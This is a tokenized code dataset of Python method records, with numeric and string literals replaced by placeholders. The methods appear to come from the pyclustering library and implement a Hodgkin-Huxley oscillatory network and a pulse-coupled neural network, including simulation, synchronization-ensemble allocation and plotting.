{"signature": "def __init__(self):", "body": "<EOL>self.nu      = random.random() * <NUM_LIT> - <NUM_LIT:1.0>;<EOL>self.gNa     = <NUM_LIT> * (<NUM_LIT:1> + <NUM_LIT> * self.nu);<EOL>self.gK      = <NUM_LIT> * (<NUM_LIT:1> + <NUM_LIT> * self.nu);<EOL>self.gL      = <NUM_LIT> * (<NUM_LIT:1> + <NUM_LIT> * self.nu);<EOL>self.vNa     = <NUM_LIT>;<EOL>self.vK      = -<NUM_LIT>;<EOL>self.vL      = -<NUM_LIT>;<EOL>self.vRest   = -<NUM_LIT>;    <EOL>self.Icn1    = <NUM_LIT>;<EOL>self.Icn2    = <NUM_LIT>;<EOL>self.Vsyninh = -<NUM_LIT>;    <EOL>self.Vsynexc = <NUM_LIT:0.0>;<EOL>self.alfa_inhibitory     = <NUM_LIT>;<EOL>self.betta_inhibitory    = <NUM_LIT>;<EOL>self.alfa_excitatory     = <NUM_LIT>;<EOL>self.betta_excitatory    = <NUM_LIT>;<EOL>self.w1 = <NUM_LIT:0.1>;<EOL>self.w2 = <NUM_LIT>;<EOL>self.w3 = <NUM_LIT>;<EOL>self.deltah = <NUM_LIT>;<EOL>self.threshold = -<NUM_LIT:10>;<EOL>self.eps = <NUM_LIT><EOL>", "docstring": "!\n        @brief    Default constructor of parameters for Hodgkin-Huxley Oscillatory Network.\n        @details  Constructor initializes parameters by default non-zero values that can be\n                  used for simple simulation.", "id": "f15660:c0:m0"}
{"signature": "def __init__(self):", "body": "<EOL>self.membrane_potential      = <NUM_LIT:0.0>;<EOL>self.active_cond_sodium      = <NUM_LIT:0.0>;<EOL>self.inactive_cond_sodium    = <NUM_LIT:0.0>;<EOL>self.active_cond_potassium   = <NUM_LIT:0.0>;<EOL>self.pulse_generation = False;<EOL>self.pulse_generation_time = []<EOL>", "docstring": "!\n        @brief Constructor of central element.", "id": "f15660:c1:m0"}
{"signature": "def __repr__(self):", "body": "return \"<STR_LIT>\" % (self.membrane_potential, self.pulse_generation_time)<EOL>", "docstring": "!\n        @brief Returns string that represents central element.", "id": "f15660:c1:m1"}
{"signature": "def __init__(self, num_osc, stimulus = None, parameters = None, type_conn = None, type_conn_represent = conn_represent.MATRIX, ccore = True):", "body": "super().__init__(num_osc, conn_type.NONE, type_conn_represent);<EOL>if (stimulus is None):<EOL><INDENT>self._stimulus = [<NUM_LIT:0.0>] * num_osc;<EOL><DEDENT>else:<EOL><INDENT>self._stimulus = stimulus;<EOL><DEDENT>if (parameters is not None):<EOL><INDENT>self._params = parameters;<EOL><DEDENT>else:<EOL><INDENT>self._params = hhn_parameters();<EOL><DEDENT>self.__ccore_hhn_pointer = None;<EOL>self.__ccore_hhn_dynamic_pointer = None;<EOL>if ( (ccore is True) and ccore_library.workable() ):<EOL><INDENT>self.__ccore_hhn_pointer = wrapper.hhn_create(num_osc, self._params);<EOL><DEDENT>else:<EOL><INDENT>self._membrane_dynamic_pointer = None;        <EOL>self._membrane_potential        = [<NUM_LIT:0.0>] * self._num_osc;<EOL>self._active_cond_sodium        = [<NUM_LIT:0.0>] * self._num_osc;<EOL>self._inactive_cond_sodium      = [<NUM_LIT:0.0>] * self._num_osc;<EOL>self._active_cond_potassium     = [<NUM_LIT:0.0>] * self._num_osc;<EOL>self._link_activation_time      = [<NUM_LIT:0.0>] * self._num_osc;<EOL>self._link_pulse_counter        = [<NUM_LIT:0.0>] * self._num_osc;<EOL>self._link_deactivation_time    = [<NUM_LIT:0.0>] * self._num_osc;<EOL>self._link_weight3              = [<NUM_LIT:0.0>] * self._num_osc;<EOL>self._pulse_generation_time     = [ [] for i in range(self._num_osc) ];<EOL>self._pulse_generation          = [False] * self._num_osc;<EOL>self._noise = [random.random() * <NUM_LIT> - <NUM_LIT:1.0> for i in range(self._num_osc)];<EOL>self._central_element = [central_element(), central_element()];<EOL><DEDENT>", "docstring": "!\n        @brief Constructor of oscillatory network based on Hodgkin-Huxley neuron model.\n\n        @param[in] num_osc (uint): Number of peripheral oscillators in the network.\n        @param[in] stimulus (list): List of stimulus for oscillators, number of stimulus should be equal to number of peripheral oscillators.\n        @param[in] parameters (hhn_parameters): Parameters of the network.\n        @param[in] type_conn (conn_type): Type of connections between oscillators in the network (ignored for this type of network).\n        @param[in] type_conn_represent (conn_represent): Internal representation of connection in the network: matrix or list.\n        @param[in] ccore (bool): If 'True' then CCORE is used (C/C++ implementation of the model).", "id": "f15660:c2:m0"}
{"signature": "def __del__(self):", "body": "if self.__ccore_hhn_pointer:<EOL><INDENT>wrapper.hhn_destroy(self.__ccore_hhn_pointer)<EOL><DEDENT>", "docstring": "!\n        @brief Destroy dynamically allocated oscillatory network instance in case of CCORE usage.", "id": "f15660:c2:m1"}
{"signature": "def simulate(self, steps, time, solution = solve_type.RK4):", "body": "return self.simulate_static(steps, time, solution)<EOL>", "docstring": "!\n        @brief Performs static simulation of oscillatory network based on Hodgkin-Huxley neuron model.\n        @details Output dynamic is sensible to amount of steps of simulation and solver of differential equation.\n                  Python implementation uses 'odeint' from 'scipy', CCORE uses classical RK4 and RFK45 methods,\n                  therefore in case of CCORE HHN (Hodgkin-Huxley network) amount of steps should be greater than in\n                  case of Python HHN.\n\n        @param[in] steps (uint): Number steps of simulations during simulation.\n        @param[in] time (double): Time of simulation.\n        @param[in] solution (solve_type): Type of solver for differential equations.\n\n        @return (tuple) Dynamic of oscillatory network represented by (time, peripheral neurons dynamic, central elements\n                dynamic), where types are (list, list, list).", "id": "f15660:c2:m2"}
{"signature": "def simulate_static(self, steps, time, solution = solve_type.RK4):", "body": "<EOL>if (solution == solve_type.FAST):<EOL><INDENT>raise NameError(\"<STR_LIT>\");<EOL><DEDENT>self._membrane_dynamic_pointer = None;<EOL>if (self.__ccore_hhn_pointer is not None):<EOL><INDENT>self.__ccore_hhn_dynamic_pointer = wrapper.hhn_dynamic_create(True, False, False, False);<EOL>wrapper.hhn_simulate(self.__ccore_hhn_pointer, steps, time, solution, self._stimulus, self.__ccore_hhn_dynamic_pointer);<EOL>peripheral_membrane_potential = wrapper.hhn_dynamic_get_peripheral_evolution(self.__ccore_hhn_dynamic_pointer, <NUM_LIT:0>);<EOL>central_membrane_potential = wrapper.hhn_dynamic_get_central_evolution(self.__ccore_hhn_dynamic_pointer, <NUM_LIT:0>);<EOL>dynamic_time = wrapper.hhn_dynamic_get_time(self.__ccore_hhn_dynamic_pointer);<EOL>self._membrane_dynamic_pointer = peripheral_membrane_potential;<EOL>wrapper.hhn_dynamic_destroy(self.__ccore_hhn_dynamic_pointer);<EOL>return (dynamic_time, peripheral_membrane_potential, central_membrane_potential);<EOL><DEDENT>if (solution == solve_type.RKF45):<EOL><INDENT>raise NameError(\"<STR_LIT>\");<EOL><DEDENT>dyn_peripheral = [ self._membrane_potential[:] ];<EOL>dyn_central = [ [<NUM_LIT:0.0>, <NUM_LIT:0.0>] ];<EOL>dyn_time = [ <NUM_LIT:0.0> ];<EOL>step = time / steps;<EOL>int_step = step / <NUM_LIT>;<EOL>for t in numpy.arange(step, time + step, step):<EOL><INDENT>(memb_peripheral, memb_central) = self._calculate_states(solution, t, step, int_step);<EOL>dyn_peripheral.append(memb_peripheral);<EOL>dyn_central.append(memb_central);<EOL>dyn_time.append(t);<EOL><DEDENT>self._membrane_dynamic_pointer = dyn_peripheral;<EOL>return (dyn_time, dyn_peripheral, dyn_central)<EOL>", "docstring": "!\n        @brief Performs static simulation of oscillatory network based on Hodgkin-Huxley neuron model.\n        @details Output dynamic is sensible to amount of steps of simulation and solver of differential equation.\n                  Python implementation uses 'odeint' from 'scipy', CCORE uses classical RK4 and RFK45 methods,\n                  therefore in case of CCORE HHN (Hodgkin-Huxley network) amount of steps should be greater than in\n                  case of Python HHN.\n\n        @param[in] steps (uint): Number steps of simulations during simulation.\n        @param[in] time (double): Time of simulation.\n        @param[in] solution (solve_type): Type of solver for differential equations.\n\n        @return (tuple) Dynamic of oscillatory network represented by (time, peripheral neurons dynamic, central elements\n                dynamic), where types are (list, list, list).", "id": "f15660:c2:m3"}
{"signature": "def _calculate_states(self, solution, t, step, int_step):", "body": "next_membrane           = [<NUM_LIT:0.0>] * self._num_osc;<EOL>next_active_sodium      = [<NUM_LIT:0.0>] * self._num_osc;<EOL>next_inactive_sodium    = [<NUM_LIT:0.0>] * self._num_osc;<EOL>next_active_potassium   = [<NUM_LIT:0.0>] * self._num_osc;<EOL>for index in range (<NUM_LIT:0>, self._num_osc, <NUM_LIT:1>):<EOL><INDENT>result = odeint(self.hnn_state, <EOL>[ self._membrane_potential[index], self._active_cond_sodium[index], self._inactive_cond_sodium[index], self._active_cond_potassium[index] ], <EOL>numpy.arange(t - step, t, int_step), <EOL>(index , ));<EOL>[ next_membrane[index], next_active_sodium[index], next_inactive_sodium[index], next_active_potassium[index] ] = result[len(result) - <NUM_LIT:1>][<NUM_LIT:0>:<NUM_LIT:4>];        <EOL><DEDENT>next_cn_membrane            = [<NUM_LIT:0.0>, <NUM_LIT:0.0>];<EOL>next_cn_active_sodium       = [<NUM_LIT:0.0>, <NUM_LIT:0.0>];<EOL>next_cn_inactive_sodium     = [<NUM_LIT:0.0>, <NUM_LIT:0.0>];<EOL>next_cn_active_potassium    = [<NUM_LIT:0.0>, <NUM_LIT:0.0>];<EOL>for index in range(<NUM_LIT:0>, len(self._central_element)):<EOL><INDENT>result = odeint(self.hnn_state, <EOL>[ self._central_element[index].membrane_potential, self._central_element[index].active_cond_sodium, self._central_element[index].inactive_cond_sodium, self._central_element[index].active_cond_potassium ], <EOL>numpy.arange(t - step, t, int_step), <EOL>(self._num_osc + index , ));<EOL>[ next_cn_membrane[index], next_cn_active_sodium[index], next_cn_inactive_sodium[index], next_cn_active_potassium[index] ] = result[len(result) - <NUM_LIT:1>][<NUM_LIT:0>:<NUM_LIT:4>];<EOL><DEDENT>self._noise = [ <NUM_LIT:1.0> + <NUM_LIT> * (random.random() * <NUM_LIT> - <NUM_LIT:1.0>) for i in range(self._num_osc)];<EOL>self.__update_peripheral_neurons(t, step, next_membrane, next_active_sodium, next_inactive_sodium, next_active_potassium);<EOL>self.__update_central_neurons(t, next_cn_membrane, next_cn_active_sodium, next_cn_inactive_sodium, next_cn_active_potassium);<EOL>return (next_membrane, next_cn_membrane)<EOL>", "docstring": "!\n        @brief Caclculates new state of each oscillator in the network. Returns only excitatory state of oscillators.\n\n        @param[in] solution (solve_type): Type solver of the differential equations.\n        @param[in] t (double): Current time of simulation.\n        @param[in] step (uint): Step of solution at the end of which states of oscillators should be calculated.\n        @param[in] int_step (double): Differentiation step that is used for solving differential equation.\n\n        @return (list) New states of membrance potentials for peripheral oscillators and for cental elements as a list where\n                the last two values correspond to central element 1 and 2.", "id": "f15660:c2:m4"}
{"signature": "def __update_peripheral_neurons(self, t, step, next_membrane, next_active_sodium, next_inactive_sodium, next_active_potassium):", "body": "self._membrane_potential = next_membrane[:];<EOL>self._active_cond_sodium = next_active_sodium[:];<EOL>self._inactive_cond_sodium = next_inactive_sodium[:];<EOL>self._active_cond_potassium = next_active_potassium[:];<EOL>for index in range(<NUM_LIT:0>, self._num_osc):<EOL><INDENT>if (self._pulse_generation[index] is False):<EOL><INDENT>if (self._membrane_potential[index] >= <NUM_LIT:0.0>):<EOL><INDENT>self._pulse_generation[index] = True;<EOL>self._pulse_generation_time[index].append(t);<EOL><DEDENT><DEDENT>elif (self._membrane_potential[index] < <NUM_LIT:0.0>):<EOL><INDENT>self._pulse_generation[index] = False;<EOL><DEDENT>if (self._link_weight3[index] == <NUM_LIT:0.0>):<EOL><INDENT>if (self._membrane_potential[index] > self._params.threshold):<EOL><INDENT>self._link_pulse_counter[index] += step;<EOL>if (self._link_pulse_counter[index] >= <NUM_LIT:1> / self._params.eps):<EOL><INDENT>self._link_weight3[index] = self._params.w3;<EOL>self._link_activation_time[index] = t;<EOL><DEDENT><DEDENT><DEDENT>elif ( not ((self._link_activation_time[index] < t) and (t < self._link_activation_time[index] + self._params.deltah)) ):<EOL><INDENT>self._link_weight3[index] = <NUM_LIT:0.0>;<EOL>self._link_pulse_counter[index] = <NUM_LIT:0.0>;<EOL><DEDENT><DEDENT>", "docstring": "!\n        @brief Update peripheral neurons in line with new values of current in channels.\n\n        @param[in] t (doubles): Current time of simulation.\n        @param[in] step (uint): Step (time duration) during simulation when states of oscillators should be calculated.\n        @param[in] next_membrane (list): New values of membrane potentials for peripheral neurons.\n        @Param[in] next_active_sodium (list): New values of activation conductances of the sodium channels for peripheral neurons.\n        @param[in] next_inactive_sodium (list): New values of inactivaton conductances of the sodium channels for peripheral neurons.\n        @param[in] next_active_potassium (list): New values of activation conductances of the potassium channel for peripheral neurons.", "id": "f15660:c2:m5"}
{"signature": "def __update_central_neurons(self, t, next_cn_membrane, next_cn_active_sodium, next_cn_inactive_sodium, next_cn_active_potassium):", "body": "for index in range(<NUM_LIT:0>, len(self._central_element)):<EOL><INDENT>self._central_element[index].membrane_potential = next_cn_membrane[index];<EOL>self._central_element[index].active_cond_sodium = next_cn_active_sodium[index];<EOL>self._central_element[index].inactive_cond_sodium = next_cn_inactive_sodium[index];<EOL>self._central_element[index].active_cond_potassium = next_cn_active_potassium[index];<EOL>if (self._central_element[index].pulse_generation is False):<EOL><INDENT>if (self._central_element[index].membrane_potential >= <NUM_LIT:0.0>):<EOL><INDENT>self._central_element[index].pulse_generation = True;<EOL>self._central_element[index].pulse_generation_time.append(t);<EOL><DEDENT><DEDENT>elif (self._central_element[index].membrane_potential < <NUM_LIT:0.0>):<EOL><INDENT>self._central_element[index].pulse_generation = False;<EOL><DEDENT><DEDENT>", "docstring": "!\n        @brief Update of central neurons in line with new values of current in channels.\n\n        @param[in] t (doubles): Current time of simulation.\n        @param[in] next_membrane (list): New values of membrane potentials for central neurons.\n        @Param[in] next_active_sodium (list): New values of activation conductances of the sodium channels for central neurons.\n        @param[in] next_inactive_sodium (list): New values of inactivaton conductances of the sodium channels for central neurons.\n        @param[in] next_active_potassium (list): New values of activation conductances of the potassium channel for central neurons.", "id": "f15660:c2:m6"}
{"signature": "def hnn_state(self, inputs, t, argv):", "body": "index = argv;<EOL>v = inputs[<NUM_LIT:0>]; <EOL>m = inputs[<NUM_LIT:1>]; <EOL>h = inputs[<NUM_LIT:2>]; <EOL>n = inputs[<NUM_LIT:3>]; <EOL>active_sodium_part = self._params.gNa * (m ** <NUM_LIT:3>) * h * (v - self._params.vNa);<EOL>inactive_sodium_part = self._params.gK * (n ** <NUM_LIT:4>) * (v - self._params.vK);<EOL>active_potassium_part = self._params.gL * (v - self._params.vL);<EOL>Iion = active_sodium_part + inactive_sodium_part + active_potassium_part;<EOL>Iext = <NUM_LIT:0.0>;<EOL>Isyn = <NUM_LIT:0.0>;<EOL>if (index < self._num_osc): <EOL><INDENT>Iext = self._stimulus[index] * self._noise[index];    <EOL>memory_impact1 = <NUM_LIT:0.0>;<EOL>for i in range(<NUM_LIT:0>, len(self._central_element[<NUM_LIT:0>].pulse_generation_time)):<EOL><INDENT>memory_impact1 += self.__alfa_function(t - self._central_element[<NUM_LIT:0>].pulse_generation_time[i], self._params.alfa_inhibitory, self._params.betta_inhibitory);<EOL><DEDENT>memory_impact2 = <NUM_LIT:0.0>;<EOL>for i in range(<NUM_LIT:0>, len(self._central_element[<NUM_LIT:1>].pulse_generation_time)):<EOL><INDENT>memory_impact2 += self.__alfa_function(t - self._central_element[<NUM_LIT:1>].pulse_generation_time[i], self._params.alfa_inhibitory, self._params.betta_inhibitory);<EOL><DEDENT>Isyn = self._params.w2 * (v - self._params.Vsyninh) * memory_impact1 + self._link_weight3[index] * (v - self._params.Vsyninh) * memory_impact2;<EOL><DEDENT>else:<EOL><INDENT>central_index = index - self._num_osc;<EOL>if (central_index == <NUM_LIT:0>):<EOL><INDENT>Iext = self._params.Icn1;   <EOL>memory_impact = <NUM_LIT:0.0>;<EOL>for index_oscillator in range(<NUM_LIT:0>, self._num_osc):<EOL><INDENT>for index_generation in range(<NUM_LIT:0>, len(self._pulse_generation_time[index_oscillator])):<EOL><INDENT>memory_impact += self.__alfa_function(t - self._pulse_generation_time[index_oscillator][index_generation], self._params.alfa_excitatory, self._params.betta_excitatory);<EOL><DEDENT><DEDENT>Isyn = self._params.w1 * (v - self._params.Vsynexc) * memory_impact;<EOL><DEDENT>elif (central_index == <NUM_LIT:1>):<EOL><INDENT>Iext = self._params.Icn2;   <EOL>Isyn = <NUM_LIT:0.0>;<EOL><DEDENT>else:<EOL><INDENT>assert <NUM_LIT:0>;<EOL><DEDENT><DEDENT>dv = -Iion + Iext - Isyn;<EOL>potential = v - self._params.vRest;<EOL>am = (<NUM_LIT> - <NUM_LIT:0.1> * potential) / (math.exp(<NUM_LIT> - <NUM_LIT:0.1> * potential) - <NUM_LIT:1.0>);<EOL>ah = <NUM_LIT> * math.exp(-potential / <NUM_LIT>);<EOL>an = (<NUM_LIT:0.1> - <NUM_LIT> * potential) / (math.exp(<NUM_LIT:1.0> - <NUM_LIT:0.1> * potential) - <NUM_LIT:1.0>);<EOL>bm = <NUM_LIT> * math.exp(-potential / <NUM_LIT>);<EOL>bh = <NUM_LIT:1.0> / (math.exp(<NUM_LIT> - <NUM_LIT:0.1> * potential) + <NUM_LIT:1.0>);<EOL>bn = <NUM_LIT> * math.exp(-potential / <NUM_LIT>);<EOL>dm = am * (<NUM_LIT:1.0> - m) - bm * m;<EOL>dh = ah * (<NUM_LIT:1.0> - h) - bh * h;<EOL>dn = an * (<NUM_LIT:1.0> - n) - bn * n;<EOL>return [dv, dm, dh, dn]<EOL>", "docstring": "!\n        @brief Returns new values of excitatory and inhibitory parts of oscillator and potential of oscillator.\n\n        @param[in] inputs (list): States of oscillator for integration [v, m, h, n] (see description below).\n        @param[in] t (double): Current time of simulation.\n        @param[in] argv (tuple): Extra arguments that are not used for integration - index of oscillator.\n\n        @return (list) new values of oscillator [v, m, h, n], where:\n                v - membrane potantial of oscillator,\n                m - activation conductance of the sodium channel,\n                h - inactication conductance of the sodium channel,\n                n - activation conductance of the potassium channel.", "id": "f15660:c2:m7"}
{"signature": "def allocate_sync_ensembles(self, tolerance = <NUM_LIT:0.1>):", "body": "return allocate_sync_ensembles(self._membrane_dynamic_pointer, tolerance, <NUM_LIT>, None)<EOL>", "docstring": "!\n        @brief Allocates clusters in line with ensembles of synchronous oscillators where each. Synchronous ensemble corresponds to only one cluster.\n\n        @param[in] tolerance (double): maximum error for allocation of synchronous ensemble oscillators.\n\n        @return (list) Grours (lists) of indexes of synchronous oscillators. For example [ [index_osc1, index_osc3], [index_osc2], [index_osc4, index_osc5] ].", "id": "f15660:c2:m8"}
{"signature": "def __alfa_function(self, time, alfa, betta):", "body": "return alfa * time * math.exp(-betta * time)<EOL>", "docstring": "!\n        @brief Calculates value of alfa-function for difference between spike generation time and current simulation time.\n\n        @param[in] time (double): Difference between last spike generation time and current time.\n        @param[in] alfa (double): Alfa parameter for alfa-function.\n        @param[in] betta (double): Betta parameter for alfa-function.\n\n        @return (double) Value of alfa-function.", "id": "f15660:c2:m9"}
{"signature": "def __init__(self):", "body": "<EOL>self.VF = <NUM_LIT:1.0><EOL>self.VL = <NUM_LIT:1.0><EOL>self.VT = <NUM_LIT><EOL>self.AF = <NUM_LIT:0.1><EOL>self.AL = <NUM_LIT:0.1><EOL>self.AT = <NUM_LIT:0.5><EOL>self.W = <NUM_LIT:1.0><EOL>self.M = <NUM_LIT:1.0><EOL>self.B = <NUM_LIT:0.1><EOL>self.FAST_LINKING = False<EOL>", "docstring": "!\n        @brief    Default constructor of parameters for pulse-coupled neural network.\n        @details  Constructor initializes parameters by default non-zero values that can be\n                  used for simple simulation.", "id": "f15661:c0:m0"}
{"signature": "@property<EOL><INDENT>def output(self):<DEDENT>", "body": "if self.__ccore_pcnn_dynamic_pointer is not None:<EOL><INDENT>return wrapper.pcnn_dynamic_get_output(self.__ccore_pcnn_dynamic_pointer)<EOL><DEDENT>return self.__dynamic<EOL>", "docstring": "!\n        @brief (list) Returns oscillato outputs during simulation.", "id": "f15661:c1:m0"}
{"signature": "@property<EOL><INDENT>def time(self):<DEDENT>", "body": "if self.__ccore_pcnn_dynamic_pointer is not None:<EOL><INDENT>return wrapper.pcnn_dynamic_get_time(self.__ccore_pcnn_dynamic_pointer)<EOL><DEDENT>return list(range(len(self)))<EOL>", "docstring": "!\n        @brief (list) Returns sampling times when dynamic is measured during simulation.", "id": "f15661:c1:m1"}
{"signature": "def __init__(self, dynamic, ccore=None):", "body": "self.__OUTPUT_TRUE = <NUM_LIT:1>    <EOL>self.__OUTPUT_FALSE = <NUM_LIT:0>   <EOL>self.__dynamic = dynamic<EOL>self.__ccore_pcnn_dynamic_pointer = ccore<EOL>", "docstring": "!\n        @brief Constructor of PCNN dynamic.\n\n        @param[in] dynamic (list): Dynamic of oscillators on each step of simulation. If ccore pointer is specified than it can be ignored.\n        @param[in] ccore (ctypes.pointer): Pointer to CCORE pcnn_dynamic instance in memory.", "id": "f15661:c1:m2"}
{"signature": "def __del__(self):", "body": "if self.__ccore_pcnn_dynamic_pointer is not None:<EOL><INDENT>wrapper.pcnn_dynamic_destroy(self.__ccore_pcnn_dynamic_pointer)<EOL><DEDENT>", "docstring": "!\n        @brief Default destructor of PCNN dynamic.", "id": "f15661:c1:m3"}
{"signature": "def __len__(self):", "body": "if self.__ccore_pcnn_dynamic_pointer is not None:<EOL><INDENT>return wrapper.pcnn_dynamic_get_size(self.__ccore_pcnn_dynamic_pointer)<EOL><DEDENT>return len(self.__dynamic)<EOL>", "docstring": "!\n        @brief (uint) Returns number of simulation steps that are stored in dynamic.", "id": "f15661:c1:m4"}
{"signature": "def allocate_sync_ensembles(self):", "body": "if self.__ccore_pcnn_dynamic_pointer is not None:<EOL><INDENT>return wrapper.pcnn_dynamic_allocate_sync_ensembles(self.__ccore_pcnn_dynamic_pointer)<EOL><DEDENT>sync_ensembles = []<EOL>traverse_oscillators = set()<EOL>number_oscillators = len(self.__dynamic[<NUM_LIT:0>])<EOL>for t in range(len(self.__dynamic) - <NUM_LIT:1>, <NUM_LIT:0>, -<NUM_LIT:1>):<EOL><INDENT>sync_ensemble = []<EOL>for i in range(number_oscillators):<EOL><INDENT>if self.__dynamic[t][i] == self.__OUTPUT_TRUE:<EOL><INDENT>if i not in traverse_oscillators:<EOL><INDENT>sync_ensemble.append(i)<EOL>traverse_oscillators.add(i)<EOL><DEDENT><DEDENT><DEDENT>if sync_ensemble != []:<EOL><INDENT>sync_ensembles.append(sync_ensemble)<EOL><DEDENT><DEDENT>return sync_ensembles<EOL>", "docstring": "!\n        @brief Allocate clusters in line with ensembles of synchronous oscillators where each\n               synchronous ensemble corresponds to only one cluster.\n\n        @return (list) Grours (lists) of indexes of synchronous oscillators. \n                For example, [ [index_osc1, index_osc3], [index_osc2], [index_osc4, index_osc5] ].", "id": "f15661:c1:m5"}
{"signature": "def allocate_spike_ensembles(self):", "body": "if self.__ccore_pcnn_dynamic_pointer is not None:<EOL><INDENT>return wrapper.pcnn_dynamic_allocate_spike_ensembles(self.__ccore_pcnn_dynamic_pointer)<EOL><DEDENT>spike_ensembles = []<EOL>number_oscillators = len(self.__dynamic[<NUM_LIT:0>])<EOL>for t in range(len(self.__dynamic)):<EOL><INDENT>spike_ensemble = []<EOL>for index in range(number_oscillators):<EOL><INDENT>if self.__dynamic[t][index] == self.__OUTPUT_TRUE:<EOL><INDENT>spike_ensemble.append(index)<EOL><DEDENT><DEDENT>if len(spike_ensemble) > <NUM_LIT:0>:<EOL><INDENT>spike_ensembles.append(spike_ensemble)<EOL><DEDENT><DEDENT>return spike_ensembles<EOL>", "docstring": "!\n        @brief Analyses output dynamic of network and allocates spikes on each iteration as a list of indexes of oscillators.\n        @details Each allocated spike ensemble represents list of indexes of oscillators whose output is active.\n\n        @return (list) Spike ensembles of oscillators.", "id": "f15661:c1:m6"}
{"signature": "def allocate_time_signal(self):", "body": "if self.__ccore_pcnn_dynamic_pointer is not None:<EOL><INDENT>return wrapper.pcnn_dynamic_allocate_time_signal(self.__ccore_pcnn_dynamic_pointer)<EOL><DEDENT>signal_vector_information = []<EOL>for t in range(<NUM_LIT:0>, len(self.__dynamic)):<EOL><INDENT>signal_vector_information.append(sum(self.__dynamic[t]))<EOL><DEDENT>return signal_vector_information<EOL>", "docstring": "!\n        @brief Analyses output dynamic and calculates time signal (signal vector information) of network output.\n\n        @return (list) Time signal of network output.", "id": "f15661:c1:m7"}
{"signature": "@staticmethod<EOL><INDENT>def show_time_signal(pcnn_output_dynamic):<DEDENT>", "body": "time_signal = pcnn_output_dynamic.allocate_time_signal()<EOL>time_axis = range(len(time_signal))<EOL>plt.subplot(<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>)<EOL>plt.plot(time_axis, time_signal, '<STR_LIT:->')<EOL>plt.ylabel(\"<STR_LIT>\")<EOL>plt.xlabel(\"<STR_LIT>\")<EOL>plt.grid(True)<EOL>plt.show()<EOL>", "docstring": "!\n        @brief Shows time signal (signal vector information) using network dynamic during simulation.\n\n        @param[in] pcnn_output_dynamic (pcnn_dynamic): Output dynamic of the pulse-coupled neural network.", "id": "f15661:c2:m0"}
{"signature": "@staticmethod<EOL><INDENT>def show_output_dynamic(pcnn_output_dynamic, separate_representation = False):<DEDENT>", "body": "draw_dynamics(pcnn_output_dynamic.time, pcnn_output_dynamic.output, x_title = \"<STR_LIT:t>\", y_title = \"<STR_LIT>\", separate = separate_representation)<EOL>", "docstring": "!\n        @brief Shows output dynamic (output of each oscillator) during simulation.\n\n        @param[in] pcnn_output_dynamic (pcnn_dynamic): Output dynamic of the pulse-coupled neural network.\n        @param[in] separate_representation (list): Consists of lists of oscillators where each such list consists of oscillator indexes that will be shown on separated stage.", "id": "f15661:c2:m1"}
{"signature": "@staticmethod<EOL><INDENT>def animate_spike_ensembles(pcnn_output_dynamic, image_size):<DEDENT>", "body": "figure = plt.figure()<EOL>time_signal = pcnn_output_dynamic.allocate_time_signal()<EOL>spike_ensembles = pcnn_output_dynamic.allocate_spike_ensembles()<EOL>spike_animation = []<EOL>ensemble_index = <NUM_LIT:0><EOL>for t in range(len(time_signal)):<EOL><INDENT>image_color_segments = [(<NUM_LIT:255>, <NUM_LIT:255>, <NUM_LIT:255>)] * (image_size[<NUM_LIT:0>] * image_size[<NUM_LIT:1>])<EOL>if time_signal[t] > <NUM_LIT:0>:<EOL><INDENT>for index_pixel in spike_ensembles[ensemble_index]:<EOL><INDENT>image_color_segments[index_pixel] = (<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>)<EOL><DEDENT>ensemble_index += <NUM_LIT:1><EOL><DEDENT>stage = numpy.array(image_color_segments, numpy.uint8)<EOL>stage = numpy.reshape(stage, image_size + ((<NUM_LIT:3>),)) <EOL>image_cluster = Image.fromarray(stage, '<STR_LIT>')<EOL>spike_animation.append( [ plt.imshow(image_cluster, interpolation='<STR_LIT:none>') ] )<EOL><DEDENT>im_ani = animation.ArtistAnimation(figure, spike_animation, interval=<NUM_LIT>, repeat_delay=<NUM_LIT>, blit=True)<EOL>plt.show()<EOL>", "docstring": "!\n        @brief Shows animation of output dynamic (output of each oscillator) during simulation.\n\n        @param[in] pcnn_output_dynamic (pcnn_dynamic): Output dynamic of the pulse-coupled neural network.\n        @param[in] image_size (tuple): Image size represented as (height, width).", "id": "f15661:c2:m2"}
{"signature": "def __init__(self, num_osc, parameters=None, type_conn=conn_type.ALL_TO_ALL, type_conn_represent=conn_represent.MATRIX, height=None, width=None, ccore=True):", "body": "self._outputs = None            <EOL>self._feeding = None            <EOL>self._linking = None            <EOL>self._threshold = None          <EOL>self._params = None<EOL>self.__ccore_pcnn_pointer = None<EOL>if parameters is not None:<EOL><INDENT>self._params = parameters<EOL><DEDENT>else:<EOL><INDENT>self._params = pcnn_parameters()<EOL><DEDENT>if (ccore is True) and ccore_library.workable():<EOL><INDENT>network_height = height<EOL>network_width = width<EOL>if (type_conn == conn_type.GRID_FOUR) or (type_conn == conn_type.GRID_EIGHT):<EOL><INDENT>if (network_height is None) or (network_width is None):<EOL><INDENT>side_size = num_osc ** (<NUM_LIT:0.5>)<EOL>if side_size - math.floor(side_size) > <NUM_LIT:0>:<EOL><INDENT>raise NameError('<STR_LIT>')<EOL><DEDENT>network_height = int(side_size)<EOL>network_width = int(side_size)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>network_height = <NUM_LIT:0><EOL>network_width = <NUM_LIT:0><EOL><DEDENT>self.__ccore_pcnn_pointer = wrapper.pcnn_create(num_osc, type_conn, network_height, network_width, self._params)<EOL><DEDENT>else:<EOL><INDENT>super().__init__(num_osc, type_conn, type_conn_represent, height, width)<EOL>self._outputs = [<NUM_LIT:0.0>] * self._num_osc<EOL>self._feeding = [<NUM_LIT:0.0>] * self._num_osc<EOL>self._linking = [<NUM_LIT:0.0>] * self._num_osc<EOL>self._threshold = [ random.random() for i in range(self._num_osc) ]<EOL><DEDENT>", "docstring": "!\n        @brief Constructor of oscillatory network is based on Kuramoto model.\n\n        @param[in] num_osc (uint): Number of oscillators in the network.\n        @param[in] parameters (pcnn_parameters): Parameters of the network.\n        @param[in] type_conn (conn_type): Type of connection between oscillators in the network (all-to-all, grid, bidirectional list, etc.).\n        @param[in] type_conn_represent (conn_represent): Internal representation of connection in the network: matrix or list.\n        @param[in] height (uint): Number of oscillators in column of the network, this argument is used \n                    only for network with grid structure (GRID_FOUR, GRID_EIGHT), for other types this argument is ignored.\n        @param[in] width (uint): Number of oscillotors in row of the network, this argument is used only \n                    for network with grid structure (GRID_FOUR, GRID_EIGHT), for other types this argument is ignored.\n        @param[in] ccore (bool): If True then all interaction with object will be performed via CCORE library (C++ implementation of pyclustering).", "id": "f15661:c3:m0"}
